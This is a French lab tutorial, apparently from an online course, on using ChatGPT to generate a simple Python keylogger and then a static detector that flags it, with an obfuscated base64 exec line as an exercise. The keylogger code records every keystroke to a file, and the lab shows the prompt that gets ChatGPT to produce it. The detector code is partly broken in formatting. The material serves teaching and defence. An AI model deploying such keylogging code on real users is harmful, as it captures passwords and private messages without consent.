

Atelier Pratique : Prévenir l'Exécution de Code Malveillant avec l'IA Générative

Temps estimé : 20 minutes

Introduction

Bienvenue dans ce laboratoire pratique sur *Prévenir l'exécution de code malveillant avec l'IA générative*.

ChatGPT, l'une des plateformes d'IA générative les plus utilisées, est capable de produire des extraits de code utiles, mais peut également être mal utilisé pour générer ou propager des logiciels malveillants. Dans ce laboratoire, vous allez :

- Explorer trois scénarios réalistes où du code malveillant peut être introduit intentionnellement ou non.
- Utiliser l'IA générative comme un **outil préventif** pour évaluer le code **avant exécution**.
- Comprendre comment cela s'aligne avec l'utilisation éthique de l'IA et la programmation responsable.

Objectifs

Après avoir terminé ce laboratoire, vous serez capable de :

- Tirer parti de l'IA générative pour examiner du code potentiellement nuisible.
- Comprendre comment l'IA générative peut aider les flux de travail en cybersécurité.
- Reconnaître et prévenir les types clés de comportements malveillants tels que le Keylogging.

Scénario : Keylogger utilisant Python

Générer le Keylogger (Cas d'usage abusif)

Un keylogger est un type de logiciel de surveillance ou de script malveillant conçu pour enregistrer chaque frappe effectuée sur un système. Les attaquants utilisent des keyloggers pour voler des informations sensibles telles que des mots de passe, des numéros de carte de crédit ou des messages confidentiels sans le consentement de l'utilisateur.

Étape 1 : Ouvrez ChatGPT et allez à l'invite de message.

Create a charter
to start a film club

Explain nostalgia
to a kindergartener

Make a content strategy
for a newsletter featuring free local weekend events

Write a SQL query
that adds a "status" column to an "orders" table

Message ChatGPT...

↑

Étape 2 : Copiez et collez le message ci-dessous dans l'invite de ChatGPT.

Générer un code python pour stocker toute frappe effectuée dans un fichier

Create a charter to start a film club	Explain nostalgia to a kindergartener
Make a content strategy for a newsletter featuring free local weekend events	Write a SQL query that adds a "status" column to an "orders" table
Generate a python code to store any keystroke pressed in a file 	

Étape 3 : Copiez le code généré par ChatGPT.

Remarque : ChatGPT générera un code similaire à celui-ci.

```
from pynput import keyboard
def on_press(key):
    with open("keystrokes.txt", "a") as f:
        f.write(f"{key} pressed\n")
def on_release(key):
    if key == keyboard.Key.esc:
        return False
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
```

Étape 4 : Utilisez Gen AI pour générer un script de détection Copiez et collez le message ci-dessous dans l'invite de ChatGPT.

Écrivez un script Python qui analyse un fichier .py donné à la recherche de comportements de keylogging en utilisant des imports suspects comme `pynput` ou l'utilisation de `keyboard`

Remarque : ChatGPT générera un code similaire à ceci.

```
import ast
def detect_keylogger(filename):
    with open(filename, "r") as file:
        tree = ast.parse(file.read())
    suspicious_keywords = ["pynput", "keyboard.Listener", "on_press", "keystrokes.txt"]
    for node in ast.walk(tree):
        if isinstance(node, ast.Import) or isinstance(node, ast.ImportFrom):
```

```
        for alias in node.names:
            if alias.name in suspicious_keywords:
                print(f"Suspicious import: {alias.name}")
    elif isinstance(node, ast.Str) and any(word in node.s for word in suspicious_keywords):
        print(f" Suspicious string: {node.s}")
detect_keylogger("keystroke_logger.py")`
```

Remarque : ChatGPT peut ne pas vous fournir le code exact montré dans l’image car il est dynamique dans son comportement. Cependant, la sortie du code généré sera la même que votre requête donnée dans l’invite de ChatGPT.

Exécutez le programme Python dans un environnement Windows

Prérequis : Installer Python

Si Python n’est pas déjà installé sur votre système Windows, vous pouvez le télécharger depuis le site officiel [Python](#). Assurez-vous de sélectionner l’option “**Add Python to PATH**” pendant le processus d’installation pour garantir son fonctionnement depuis la ligne de commande.

Étapes pour exécuter le scénario : Scripts de détection de keylogger générés par ChatGPT

Étape 1 : Installer la bibliothèque pynput

Ouvrez un terminal et exécutez la commande suivante pour installer la bibliothèque pynput :

```
pip install pynput
```



Étape 2 : Créer le script du keylogger

Utilisez n’importe quel éditeur de texte (par exemple, Notepad, Visual Studio Code) pour créer un nouveau fichier Python. Collez le code du keylogger généré par ChatGPT dans ce fichier.

Étape 3 : Enregistrer le script du keylogger

Enregistrez le fichier sous le nom ‘keystroke_logger.py’

Étape 4 : Créer le script de détection

Répétez le processus en créant un nouveau fichier et en collant le script de détection du keylogger généré par ChatGPT.

Étape 5 : Enregistrer le script de détection

Enregistrez ce deuxième fichier sous : detector_keyloggerscript.py

Vous avez maintenant deux fichiers dans votre dossier :

- keystroke_logger.py (logger potentiellement malveillant)
- detector_keyloggerscript.py (script de détection)

Étape 5 : Ouvrir l'invite de commandes

Ouvrez l'invite de commandes en appuyant sur Win + R, en tapant cmd, puis en appuyant sur entrer.

Étape 6 : Naviguer vers le répertoire du script

Utilisez la commande cd pour naviguer vers le répertoire où vous avez enregistré le script Python. Par exemple :

```
bash
cd path\to\directory
```

Étape 7 : Exécuter le script

Exécutez le script en entrant la commande suivante :

Note : Exécutez le détecteur avant d'exécuter tout script inconnu.

```
python detector_keyloggerscript.py
```

Cette approche aide à détecter les keyloggers avant qu'ils ne s'exécutent, améliorant ainsi la sécurité des points de terminaison grâce à une analyse statique automatisée.

1. Générez un programme Python pour surveiller et enregistrer les accès non autorisés aux fichiers sensibles.

► Cliquez ici pour un indice

2. Utilisez ChatGPT pour expliquer ce code obfusqué.

```
import base64; exec(base64.b64decode("aW1wb3J0IG9zCnByaW50KCJNYWxpY2lvdXMgQ29kZSIp"))
```

► Cliquez ici pour un indice

Conclusion

Dans ce laboratoire, vous avez exploré comment des plateformes d'IA générative comme ChatGPT peuvent être utilisées non seulement pour générer des scripts potentiellement malveillants (par exemple, des enregistreurs de frappe), mais aussi pour détecter et prévenir défensivement leur exécution.

Auteur : [Dr. Manish Kumar](#)



Skills Network